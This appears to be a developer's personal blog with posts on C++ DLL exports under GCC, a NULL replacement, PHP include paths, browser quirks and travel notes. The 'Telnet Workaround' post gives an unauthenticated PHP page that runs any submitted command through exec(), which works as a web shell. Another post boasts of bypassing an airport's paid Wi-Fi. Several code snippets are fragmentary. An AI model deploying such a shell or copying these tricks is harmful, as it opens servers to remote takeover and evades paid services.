One of my coworkers took this picture of me from his cell phone while at the office and I thought I’d share it. :-)

Jeffrey Riaboy at work
Virtual Functions in DLLs
And Shared Object Visibility

Since I am now working on making sure all my applications work in both Windows and Linux, I have been having to work a lot more with GCC recently (which I am basically totally switching too). It’s a bit trying having to learn an entirely different toolset after having used the same formula for many many years.

Linux shared objects are a bit different than Window’s DLLs in that all symbols are naturally exported instead of just the ones you specify, among other different behaviors like how the libraries are loaded and unloaded during runtime. The solution to the visibility problem is more recent as far as GCC goes, and is to use the visibility attribute. Symbol visibility in a shared library is very important for both symbol collision and library load time reasons. This means, however, that every functions/symbol needs to be marked as either not visible (for Linux), or exportable (for Windows).

I ran into a rather nasty problem however that I couldn’t find any information on when making a class exportable in a DLL. Basically, I had the following:

A.dll creation
//Determine whether we are exporting or importing functions from this DLL
#ifdef A_DLL
	#define DLLEXPORT __declspec(dllexport)
	#define DLLEXPORT __declspec(dllimport)

	int x;
	void a_foo();
	virtual void a_bar();
#define A_DLL
#include "A.h"
#include "stdio.h"
void a::a_foo() {printf("a_foo");}
void a::a_bar() {printf("a_bar");}
Compiling A.dll
g++ -c A.cpp -o A.o
g++ -shared -Wl,--output-def=libA.def -Wl,--out-implib=./libA.a -Wl,--dll A.o -o ./A.dll

B.dll creation
//Determine whether we are exporting or importing functions from this DLL
#ifdef B_DLL
	#define DLLEXPORT __declspec(dllexport)
	#define DLLEXPORT __declspec(dllimport)

	int x;
	void b_foo();
	virtual void b_bar();
#define B_DLL
#include "B.h"
#include "stdio.h"
void b::b_foo() {printf("b_foo");}
void b::b_bar() {printf("b_bar");}
Compiling B.dll
g++ -c B.cpp -o B.o
g++ -shared -Wl,--output-def=libB.def -Wl,--out-implib=./libB.a -Wl,--dll B.o -o ./B.dll

main.exe creation
#include "A.h"
#include "B.h"

int main()
	a a_var;

	b b_var;
	return 1;
Compiling main.exe
g++ -c main.cpp -o main.o
g++ -c main.o -o ./main.exe -L./ -lA -lB

The problem that occurred was when only 1 of the DLL files was included on Windows, everything worked fine, but when both were included, I could only access the virtual functions from one of the 2. I was getting an error about “required class export or error due to vtable not being found”.

After many hours of tinkering and fruitless research, I stumbled upon the solution by accident. It turns out I was using the incorrect syntax. The classes should have been defined as “class DLLEXPORT x {}” instead of “DLLEXPORT class x {}”. Why it worked when only 1 of the DLLs was present, but clobbered with multiple DLLs, I have no idea.

NULL Pointer for C++
Extending a language for what it’s lacking

I’ve recently been frustrated by the fact that NULL in C++ is actually evaluated as integral 0 instead of a pointer with the value of 0. This problem can be seen in the following example:

class String
	String(int i)  { /* ... */ } //Convert a number to a string
	String(char* i){ /* ... */ } //Copy a char* string directly into the class

String Foo(NULL); //This would give the string "Foo" the value "0" instead of a char* to (void*)0

The solution I came up with, which my good friend Will Erickson (aka Sarev0k) helped me revise, is as follows:

#undef NULL //If NULL is already defined, get rid of it
struct NULL_STRUCT { template <typename T> operator T*() { return (T*)0; } }; //NULL_STRUCT will return 0 to any pointer
static NULL_STRUCT NULL; //NULL is of type NULL_STRUCT and static (local to the current file)

After coming up with this way of doing it, I found out this concept is already a part of the new C++0x standard as nullptr, but since it is not really out yet, I still need a solution for the current C++ standard.

After getting this to work how I wanted it, I tested it out to make sure it is optimized correctly in compilers. When the compiler knows a value will be 0, it can apply lots of special assembly tricks.

Microsoft Visual C++ got it right by seeing that NULL was just 0 and applying appropriate optimizations, but GCC missed an optimization step and didn’t detect that it was 0 down the whole pipe. GCC, to my knowledge, however, isn’t exactly known for its optimization.

Example code:
BYTE* a=...; //Set a to an arbitrary value (best if brought in via an external method [i.e. stdin] so the compiler doesn’t make assumptions about the variable)
bool b=(a==NULL); //Set to b if a is 0 (NULL)
What MSVC6 outputs (and what it should be after optimization):
test eax,eax	//logical and a against itself to determine if it is 0 or not
sete al		//Set the lowest byte of eax to 1 if a is 0
What GCC gives
xor edx,edx	//Temporarily store 0 in edx for later comparison. This is a 0 trick, but 1 step higher than it could be used at.
cmp edx,eax	//Compare a against edx (0)
sete al		//Set the lowest byte of eax to 1 if a equals the value in edx

On a side note, it has been quite painful going from using assembly in Microsoft Visual C++ to GCC for 2 reasons:
  • I hate AT&T (as opposed to Intel) assembly syntax. It is rather clunky to use, and every program I’ve ever used is in Intel syntax (including all the Intel reference documentation). I tried turning on Intel syntax through a flag when compiling through GCC, but it broke GCC. :-\
  • Having to list which assembly registers are modified/used in the extended assembly syntax. This interface is also very clunky and, I have found, prone to bugs and problems.
Star Trek at The Alamo
Geeking out

First, I want to write a little about the Alamo Draft House, which is a local Austin theater chain (though it has expanded). I really enjoy going there for movies for the atmosphere, which includes:

  • No children under 6 (unless otherwise noted)
  • Food and drinks
  • [Sometimes] themed food and pre-movie entertainment relating to the movie (my friends went there for the Indiana Jones opening and there were snake handlers with rattlesnakes and a cobra ^_^)
  • Playings of old good and/or cult classic movies

They also often organize shows, parties, and other events, including organizing the recent Austin branch of the largest [worldwide] Thriller dance event. I have been told they are one of the most profitable theater chains in history.

Anywho, I was there yesterday for the first showing (7pm) of the new Star Trek movie. Since I’m not a movie critic, I won’t say more than the fact that I thought it was absolutely spectacular, and Alamo’s pre-movie Star Trek themed clips were hilarious. I do however want to share their themed food menu.

Alamo Star Trek Food Menu

I think I went a bit overbored on the themed drinks. I had the worst headache afterwards x.x;
Alamo Star Trek Food Receipt
PHP file inclusion weirdness
PHP has its own quirks too
In PHP, you cannot include files in parent directories “../” from a file that has already been included from another file in a different directory. This has been a nuisance for a long time.

Here is a test case: (Files followed by their code)

/test1.php (This is the file that is called directly by the browser/apache)
//This all works fine
print 'test1'_start;
print 'test1_end';

print 'test2_start';
require('blah/test3.php'); //This works fine because the include file it is in a subdirectory, not a parent directory of test2.php
require('../test4.php'); //This does not call fine (an error is thrown by php) because it is in a parent directory relative to test2.php, which was already included from the parent file (test1.php) in another directory (/). To fix this, use 'foo/test4.php'
print 'test2_end';

<? print 'test3'; ?>

/foo/test4.php (This file is not reached by this example without the fixes mentioned in either the comment in test2.php, or below)
<? print 'test4'; ?>

The obvious method to fix this whole conundrum is to always set all includes relative to one root path, and then make sure that path is always used with the set_include_path function if your parent file is not in the root directory. For example:

Another method would be to write a require/include wrapper that calculates paths from the current directory whenever a parent path “../” is used. Here is an example of this:
function _require($IncludeFile, $CurrentFile)
	$CurrentPath=preg_replace('/[^\/]+$/', '', $CurrentFile); //Remove the filename to get the current path

This method is called with 2 parameters: the relative path from the current include file to the file you want to include, and __FILE__
For example, line 4 of “/foo/bar/test2.php” above would now be:
_require('../test4.php', __FILE__);

The first line of the _require function could also be removed by using the __DIR__ constant (instead of __FILE__) which was added in PHP 5.3.0.
Google Search Removed Functionality
Has Google been removing search options to make things run faster?

I’ve been meaning to get searching working on my site for what seems like forever, and I decided to finally get around to getting some manner of search working via the temporary “use Google” solution. Unfortunately, it seems Google no longer does boolean searches completely properly as advertised. I am sure Google Search still supports boolean logic (as opposed to the assumed “and” between each word) because the Advanced Search, linked to from their front page, still has it, and it returns a few of the results it should.

As an example:
If I wanted to search the Projects and Updates sections of my sites for either the keywords fractal or font I would use the following search:
(site:www.castledragmire.com/Projects OR site:www.castledragmire.com/Updates) AND (Fractal OR Font)

This currently only returns 3 results, when it should return 11 different results, enumerated by using the 4 separate searches (with return results):
  1. site:www.castledragmire.com/Projects Fractal
  2. site:www.castledragmire.com/Projects Font
  3. site:www.castledragmire.com/Updates Fractal
  4. site:www.castledragmire.com/Updates Font

Actual Google returned results: A simple example of this through the Google Advanced Search Page is as follows:

Fractal OR Font site:www.castledragmire.com/Projects [Advanced Search]

Which only returns 3 results (following) instead of the 6 (see above) that it should:

Because of this, I need to go ahead and get real searching up via MySQL (or possibly another solution), as originally planned, sooner than later, since Google will not work as a temporary solution for what I want.

I wrote up a paper on what could be done through Google Search over 5 years ago as a job request [to be posted soon], which I believe is very informative. I’m sure it’s a little outdated, but it shows how much can Google can [could] do for you.

No Phone Signal at the Grand Canyon
“Can you hear me now?” ... Thor, did I just do that clichéd line? x.x;

Hmm, I’m currently stuck at an outlet mall between Las Vegas and Hollywood for 3 or so hours while the highway is closed down. They are apparently blowing up a chunk of a mountain so they can expand the highway (I-15 South). My vacation has been very event filled so far, with barely enough time to get stuff done, so I figure while I’m stuck here, I might as well get one of the posts I’ve been meaning to do out of the way :-).

The highlights of my vacation so far have included:
  • 2 days at Disney Land, which was lots of fun :-)
  • 3 days in Las Vegas which included:
    • A little gambling
    • Seeing lots of casinos and free shows
    • My travel companion’s wedding
    • Destroying my ankles from walking to each casino to catch all the shows in time. Each Casino is 3-6 blocks long and has so much in them, it feels overwhelming! There’s just too much to see!
  • The Grand Canyon, which was magnificent, majestic, and breathtaking. We also crossed over the Hoover Dam on the way there.
  • We are now heading to Hollywood for the rest of the vacation ^_^.
I am still kind of anxious to get back home, see my kitty, and resume normal life though. This is a lot of activity for an extended period of time for me.

Anyways, Verizon has failed me for the first time ever in the US :-(. I got no signal at the Grand Canyon, doh. That’s all I had to report though, heh. And I’m not really complaining, because Verizon still gets far better signals in far more places than the other phone services I’ve tried.

Internet Connections Abroad
America: Definitely not the most wired or wireless country

Wow, I’m sitting here at 11:45 at night (PST 1/30/2009) with no Internet [this post has been delayed going live until an Internet connection was established]. The hotel we are staying at (The Anaheim Park Hotel at Harbor and 91 in Fullerton) had advertised when reservations were made much earlier that they had free Internet. Alas, they do not. I called the front desk and asked about this, and they told me their free Internet was broken and that they have been trying to fix it. I told them I was a networking expert and might be able to help, to which they replied something to the extent of “we already have networking experts who have been working on it for a few days, but thanks”. This was an obvious lie because it would not take any “networking expert” more than a day to fix this kind of problem, but I did not feel like pushing the issue.

The pay for wireless-Internet service for the hotel is done through Wayport, and it has been very finicky. When I tried to get on earlier tonight the process was breaking after my credit card was submitted for processing. I submitted it 5 or 6 times over a period of time and it broke at the same place each time with an error message something to the extent of “there was an error processing your request. Please try again”. Later on, I couldn’t even get past the main Wayport page to any other section. All pages were returned as zero byte files with no header, which was confirmed through packet sniffing.

0030                    48 54  54 50 2f 31 2e 31 20 33         HT TP/1.1 3
0040  30 34 20 4e 6f 74 20 4d  6f 64 69 66 69 65 64 0d   04 Not M odified.
0050  0a 45 78 70 69 72 65 73  3a 20 53 61 74 2c 20 33   .Expires : Sat, 3
0060  31 20 4a 61 6e 20 32 30  30 39 20 30 37 3a 35 33   1 Jan 20 09 07:53
0070  3a 33 37 20 47 4d 54 0d  0a 4c 61 73 74 2d 4d 6f   :37 GMT. .Last-Mo
0080  64 69 66 69 65 64 3a 20  57 65 64 2c 20 31 31 20   dified:  Wed, 11 
0090  41 70 72 20 32 30 30 37  20 31 34 3a 33 32 3a 34   Apr 2007  14:32:4
00a0  34 20 47 4d 54 0d 0a 4d  49 4d 45 2d 56 65 72 73   4 GMT..M IME-Vers
00b0  69 6f 6e 3a 20 31 2e 30  0d 0a 44 61 74 65 3a 20   ion: 1.0 ..Date: 
00c0  53 61 74 2c 20 33 31 20  4a 61 6e 20 32 30 30 39   Sat, 31  Jan 2009
00d0  20 30 37 3a 34 38 3a 33  37 20 47 4d 54 0d 0a 53    07:48:3 7 GMT..S
00e0  65 72 76 65 72 3a 20 41  4f 4c 73 65 72 76 65 72   erver: A OLserver
00f0  2f 34 2e 35 2e 30 0d 0a  43 6f 6e 74 65 6e 74 2d   /4.5.0.. Content-
0100  4c 65 6e 67 74 68 3a 20  30 0d 0a 43 6f 6e 6e 65   Length:  0..Conne
0110  63 74 69 6f 6e 3a 20 6b  65 65 70 2d 61 6c 69 76   ction: k eep-aliv
0120  65 0d 0a 0d 0a                                     e....            

I blame the fact that the server is “AOLServer” :-).

So, anyways, I called the front desk who had a “technician” come up and he told me to call Wayport. He also told me they did not provide free Internet anymore, and hadn’t for a while, directly contradicting the front desk representative....

So I called the provided Wayport tech support number... which gave me a beeping error signal. I think it was an invalid phone number beeping, but it could have been a busy signal. I tried multiple times, and got the same error response each time, so I couldn’t get through to technical support that way. I tried the general Wayport phone number, and went to the tech support section that way, which asked me to leave a voice message. How crappy and unprofessional :-\. I am giving up for the night in hopes that I can get online in the morning.

I had contemplated getting a Verizon Aircard (wireless Internet for computers over wireless phone waves) for this 10 day trip, but decided I probably wouldn’t need it as most places would provide wireless. How wrong I was. I wish I had now, as it would have been especially helpful at airports and many other times. I have had previous experience with using Verizon Aircards over many months and was very very pleased with the service. Even an iPhone might have been nice... if only it wasn’t only AT&T >:-(.

More Browser Bugs
I really hate web browser scripting due to the multitude of interoperability problems

I’ve been incredibly busy lately, especially with work, but I finally have some time for personal stuff like posting again, yay. I’m currently stuck at the airport, and am leaving at 7AM this morning on vacation for 10 days on a tour of the west coast (Los Angeles, Disney World, Hollywood, Las Vegas, Grand Canyon, etc). The main reason for this get away is I’ll be meeting up with a good friend and his fiancée for their vacation and will be attending his wedding in Las Vegas ^_^.

I am currently on one of those open network connections at the airport that you have to pay to use, tunneled through one of my SSH servers, so I can bypassing their pay service and get online for free to post this :-). Hey, it’s their own fault for not securing it properly lol. I periodically kept getting dropped connections due to a weak signal, so I had to get back up after finding the connection and walk around, using my iPod to detect signal strengths until I found a better area with a stronger signal because. The thing is proving to be very useful ^_^. Anywho, on to the content of the post.

I’ve recently run into a number of new bugs [new to me at least] in both IE (version 7) and Firefox (version 3) that I have not encountered before and, as usual, have to program around to accomplish my tasks. I thought I’d discuss 3 of these bugs.

  • Relative (non absolute) base URL paths do not work in either Firefox or Internet Explorer.

    Setting a base path for a website is often a necessity for websites that have web pages that are in subdirectories beyond the websites’s root directory. The reason for this is that the page-common layout of a web page usually refers to all images and content in a relative path. This is done for multiple reasons including:

    • Ease of moving the site between addresses like for test stages, or if the site is served from multiple domain names.
    • It’s easier to read source code URLs this way
    • It makes the HTML files smaller; though this isn’t a problem for most users these days because internet connection speeds are much faster.

    An example of W3C valid code that produces this error is as follows:
    <head><base href="/MySite/">
    The code, unfortunately, has to be an absolute URL like the following for current versions of IE and Firefox.
    <head><base href="http://domain.com/MySite/">

    One simple method to solve this problem is to use JavaScript to set an absolute base URL. Unfortunately, this then requires web browsers to have JavaScript enabled to work :-\. For this reason, this is really a quick fix for internal use that shouldn’t be put into production use unless JavaScript is required anyways.

    The following code will set a base of “http://domain.com/MySite/” for “http://domain.com/MySite/Posts/Post1.html”.

    	<script type="text/javascript">
    		function GetBase() //Get the directory above the current path’s URL
    			return document.location.protocol+	//The protocol ("http:" or "https:")
    				'//'+				//End the protocol section with a //
    				document.location.hostname+	//The host (domain)
    				document.location.pathname.replace(/(\/[^/]*){2}$/,'')+ //This moves up 1 directory from the current path. To move up more directories, set the "2" in this line to NumberOfDirectoriesToMoveUp+1
    				'/';				//Add a '/' to set the end of the path as a directory
    		document.write('<base href="'+GetBase()+'">'); //Write a BASE object to set the current web page’s base URL to GetBase()

    A simpler solution is to just have your parsing language (PHP for example) detect the server you are running on and set the proper base URL accordingly. This method assumes you know all the possible places/addresses your website will run on.

    <head><base href="<?=($_SERVER['HTTP_HOST']=='domain.com' ? 'http://domain.com/MySite/' : 'http://domain2.com/')?>"></head>
  • Reserved keywords in IE cannot be used as object members
    Example (JavaScript):
    var MyObject={};
    MyObject.return=function() { return true; }
    Solution: Instances of this must be encoded in strings
    var MyObject={};
    MyObject['return']=function() { return true; }
    This also occurs for other reserved keywords like “debugger” and “for”.
  • IE’s window does not have the “hasOwnProperty” member function like ALL OTHER OBJECTS

    This is a major nuisance because trying to find out if a variable exists and is not a prototype in the global scope is an important function. *sighs*

    The fix for this is using “window.VARIABLE!==undefined”, though this won’t tell you if the variable is actually instanced or [again] if it is part of the prototype; only if it is defined.

One more JavaScript engine difference between IE and Firefox is that in IE you can’t end a hash with an empty member. For example, the following works in Firefox, but not IE:

var b={a:1, b:2, c:3, d:4, };

This shouldn’t really be done anyways, so it’s not really a problem IMO. I ran across this when converting some bad Perl code (generated by YACC) which coincidentally allows this.

It’s really hard making everything compatible across all web browser platforms when they all contain so many nuances and bugs :-\.

Telnet Workaround
I hate not having root ^_^;

I recently had to do some work on a system where I was not allowed SSH/telnet access. Trying to do work strictly across ftp can take hours, especially when you have thousands of files to transfer, so I came up with a quick solution in PHP for simple command line access.

<form method=post action="exec.php">
	<table style="height:100%;width:100%">
		<tr><td height="10%">
			<textarea name=MyAction style="height:100%;width:100%"><?=(isset($_REQUEST['MyAction']) ? $_REQUEST['MyAction'] : '')?></textarea>
		</td></tr><tr><td height="90%">
			<textarea name=Output style="height:100%;width:100%"><?
	$MyAction=preg_split("/\\r?\\n/", $_REQUEST['MyAction']);
	foreach($MyAction as $Action)
		exec($Action, $MyOutput);
		print htmlentities(implode("\n", $MyOutput), ENT_QUOTES, 'ISO8859-1')."\n-----------------------\n";
		</td></tr><tr><td height=1>
			<input type=submit>

This code allows you to enter commands on separate lines in the top box, and after the form is submitted, the output of each command is entered into the bottom box separated by dashed lines.

Note that between each command the environment is reset, so commands like "cd" which change the current directory are not useable :-(. You must also change the line 'action="exec.php"' to reflect the name you give the file.

A more suitable solution would be possible through AJAX and a program that redirected console output from a persistent session, but this was just meant as quick fix :-).

Happy New Year
Time for a break

Time for another year, wee, and with that, I’m going to take a bit of a hiatus again from posting. When I return, no more schedules. Just posting when I feel like it :-).